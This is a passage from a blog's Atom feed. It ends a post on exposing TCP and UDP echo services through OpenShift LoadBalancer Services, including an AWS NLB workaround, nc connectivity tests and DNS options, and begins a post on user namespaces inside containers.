&lt;span id=&quot;cb7-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; LoadBalancer&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;selector&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; udpecho&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; UDP&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dv&quot;&gt;12345&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;pp&quot;&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Service&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-16&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-16&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-17&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-17&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo-tcp&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-18&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-18&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-19&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-19&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; LoadBalancer&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-20&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-20&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;selector&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-21&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-21&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-22&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-22&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-23&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-23&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; tcpecho&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-24&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-24&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; TCP&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-25&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-25&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dv&quot;&gt;12345&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Creating the objects now succeeds:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create -f service-echo.yaml 
service/echo-udp created
service/echo-tcp created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To find out the hostname or IP address of the load balancer ingress
endpoint, inspect the &lt;code&gt;status&lt;/code&gt; field of the Service object:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json service \
    | jq -c '.items[] | (.metadata.name, .status)'
&amp;quot;echo-tcp&amp;quot;
{&amp;quot;loadBalancer&amp;quot;:{&amp;quot;ingress&amp;quot;:[{&amp;quot;ip&amp;quot;:&amp;quot;34.136.55.93&amp;quot;}]}}
&amp;quot;echo-udp&amp;quot;
{&amp;quot;loadBalancer&amp;quot;:{&amp;quot;ingress&amp;quot;:[{&amp;quot;ip&amp;quot;:&amp;quot;34.71.82.205&amp;quot;}]}}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Most cloud providers report an IP address. That includes Google
Cloud (GCP) where this cluster was deployed. On the other hand, AWS
reports a DNS name. Below is the result of creating my service
objects on an cluster hosted on AWS:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json service \
    | jq -c '.items[] | (.metadata.name, .status)'
&amp;quot;echo-tcp&amp;quot;
{&amp;quot;loadBalancer&amp;quot;:{&amp;quot;ingress&amp;quot;:[{&amp;quot;hostname&amp;quot;:&amp;quot;a095e8e1ebb9e4c64ae71e0f3c688ad4-608097611.us-east-2.elb.amazonaws.com&amp;quot;}]}}
&amp;quot;echo-udp&amp;quot;
{&amp;quot;loadBalancer&amp;quot;:{}}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ELB successfully created a load balancer for the TCP port. But
something is wrong with the UDP service. The events give more
information:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get event --field-selector involvedObject.name=echo-udp
LAST SEEN   TYPE      REASON                   OBJECT             MESSAGE
94s         Normal    EnsuringLoadBalancer     service/echo-udp   Ensuring load balancer
94s         Warning   SyncLoadBalancerFailed   service/echo-udp   Error syncing load balancer: failed to ensure load balancer: Protocol UDP not supported by LoadBalancer&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Load balancer creation failed with the error:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Error syncing load balancer: failed to ensure load balancer:
Protocol UDP not supported by LoadBalancer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The workaround is to add an annotation to request a &lt;em&gt;Network Load
Balancer (NLB)&lt;/em&gt; instance instead of ELB (the default):&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb12&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb12-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb12-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb12-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb12-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Service&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb12-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb12-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb12-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb12-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo-udp&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb12-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb12-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb12-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb12-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;service.beta.kubernetes.io/aws-load-balancer-type&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;nlb&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb12-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb12-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb12-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb12-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  …&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After adding the annotation, both load balancers are configured:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json service \
    | jq -c '.items[] | (.metadata.name, .status)'
&amp;quot;echo-tcp&amp;quot;
{&amp;quot;loadBalancer&amp;quot;:{&amp;quot;ingress&amp;quot;:[{&amp;quot;hostname&amp;quot;:&amp;quot;a473cf621de6b49dfabb6e933d0fab55-2099420434.us-east-2.elb.amazonaws.com&amp;quot;}]}}
&amp;quot;echo-udp&amp;quot;
{&amp;quot;loadBalancer&amp;quot;:{&amp;quot;ingress&amp;quot;:[{&amp;quot;hostname&amp;quot;:&amp;quot;af7f7ed0f44c9461dbb54a9a4aedca2c-0c5861432365c726.elb.us-east-2.amazonaws.com&amp;quot;}]}}&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;&lt;code&gt;aws-load-balancer-type&lt;/code&gt; is one of several annotations for modifying
AWS load balancer configuration. See the &lt;a href=&quot;https://cloud-provider-aws.sigs.k8s.io/service_controller/&quot;&gt;AWS Cloud Provider
documentation&lt;/a&gt; for the full list.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&quot;testing-the-ingress&quot;&gt;Testing the ingress &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#testing-the-ingress&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Using the IP address or DNS name from the &lt;code&gt;status&lt;/code&gt; field, you can
use &lt;code&gt;nc(1)&lt;/code&gt; to verify that the server is contactable.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% echo hello | nc 34.136.55.93 12345
HELLO

% nc --udp 34.71.82.205 12345
hello                             -- input
HELLO                             -- response
^D&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I was able to talk to my echo server via both TCP and UDP.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;If using TLS or DTLS, you could instead use OpenSSL’s &lt;code&gt;s_client(1)&lt;/code&gt;
to test connectivity.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Use hostname instead of IP address if that is how the cloud provider
reports the ingress endpoint.&lt;/p&gt;
&lt;h2 id=&quot;reaching-the-service-via-dns&quot;&gt;Reaching the service via DNS &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#reaching-the-service-via-dns&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The cloud provider has set up the load balancer and the ingress IP
addresses or hostnames are reported in the &lt;code&gt;status&lt;/code&gt; field of the
Service object(s). Now you probably wish to set up DNS records so
that clients can use an established domain name to find the server.&lt;/p&gt;
&lt;p&gt;I can’t go deep into this topic in this post, because I am still
exploring this problem space myself. But I can describe some
possible solutions at a high level.&lt;/p&gt;
&lt;p&gt;One possibility is to teach your application controller to manage
the required DNS records. It would monitor the Service objects and
reconcile the external DNS configuration with what it sees. The
number and kind of records to be created will vary depending on
whether the cloud providers reports the ingress points as hostnames
or IP addresses:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr class=&quot;header&quot;&gt;
&lt;th&gt;Ingress endpoint&lt;/th&gt;
&lt;th&gt;Resolution method&lt;/th&gt;
&lt;th&gt;Records needed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class=&quot;odd&quot;&gt;
&lt;td&gt;&lt;code&gt;hostname&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;direct&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CNAME&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;even&quot;&gt;
&lt;td&gt;&lt;code&gt;hostname&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SRV&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SRV&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;
&lt;td&gt;&lt;code&gt;ip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;direct&lt;/td&gt;
&lt;td&gt;&lt;code&gt;A&lt;/code&gt;/&lt;code&gt;AAAA&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;even&quot;&gt;
&lt;td&gt;&lt;code&gt;ip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SRV&lt;/td&gt;
&lt;td&gt;&lt;code&gt;A&lt;/code&gt;/&lt;code&gt;AAAA&lt;/code&gt; and &lt;code&gt;SRV&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Most applications have similar needs, so it would make sense to
encapsulate this behaviour in a controller that configures arbitrary
external DNS providers. That’s what the Kubernetes &lt;a href=&quot;https://github.com/kubernetes-sigs/external-dns&quot;&gt;ExternalDNS&lt;/a&gt;
project is all about. &lt;a href=&quot;https://github.com/kubernetes-sigs/external-dns#status-of-providers&quot;&gt;Provider stability varies&lt;/a&gt;; at
time of writing the only &lt;em&gt;stable&lt;/em&gt; providers are Google Cloud DNS and
AWS Route 53.&lt;/p&gt;
&lt;p&gt;Integration with OpenShift is via the &lt;a href=&quot;https://github.com/openshift/external-dns-operator&quot;&gt;ExternalDNS Operator&lt;/a&gt;.
This is an active area of work and ExternalDNS will hopefully be an
officially supported part of OpenShift in a future release.&lt;/p&gt;
&lt;p&gt;I haven’t actually played with ExternalDNS yet so can’t say much
more about it at this time. Only that it looks like a very useful
solution!&lt;/p&gt;
&lt;p&gt;Finally, recall the caveats I mentioned earlier about applications
that require ingress of &lt;strong&gt;both TCP and UDP&lt;/strong&gt; traffic. &lt;a href=&quot;https://github.com/kubernetes/enhancements/issues/1435&quot;&gt;KEP 1435&lt;/a&gt;,
along with cloud provider support, should resolve this issue
eventually.&lt;/p&gt;</content>
		<author>
			<name>Fraser Tweedale</name>
			<email>frase@frase.id.au</email>
			<uri>https://frasertweedale.github.io/blog-redhat</uri>
		</author>
		<source>
			<title type="html">Fraser's IdM Blog</title>
			<link rel="self" href="https://frasertweedale.github.io/blog-redhat/atom.xml"/>
			<id>https://frasertweedale.github.io/blog-redhat/atom.xml</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Creating user namespaces inside containers</title>
		<link href="https://frasertweedale.github.io/blog-redhat/posts/2021-10-15-openshift-userns-in-container.html"/>
		<id>https://frasertweedale.github.io/blog-redhat/posts/2021-10-15-openshift-userns-in-container.html</id>
		<updated>2021-10-15T00:00:00+00:00</updated>
		<content type="html">&lt;h1 id=&quot;creating-user-namespaces-inside-containers&quot;&gt;Creating user namespaces inside containers&lt;/h1&gt;
&lt;p&gt;Over the last year I have experimented with user namespace support in
OpenShift. That is, making OpenShift run workloads inside a
separate user namespace. We’re trying to drive this feature
forward, but some people have reservations. Does having processes
running as &lt;code&gt;root&lt;/code&gt; inside a user namespace present an increased
security risk? What if there are kernel bugs…&lt;/p&gt;
&lt;p&gt;If you’re worried about the security of user namespaces, OpenShift
or Kubernetes user namespace support doesn’t change the game at all.
As I demonstrate in this post, you can create and use user
namespaces &lt;em&gt;inside&lt;/em&gt; your workloads right now.&lt;/p&gt;
&lt;h2 id=&quot;demo&quot;&gt;Demo &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#demo&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I tested on OpenShift 4.9.0 in the default configuration. So, no
explicit user namespace support. I used a stock Fedora container
image with the following Pod spec:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb1&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb1-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Pod&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; fedora&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; fedora&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; registry.fedoraproject.org/fedora:34-x86_64&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;sleep&amp;quot;&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;3600&amp;quot;&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;securityContext&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;capabilities&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;drop&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; CHOWN&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; DAC_OVERRIDE&lt;/span&gt;&lt;/span&gt;
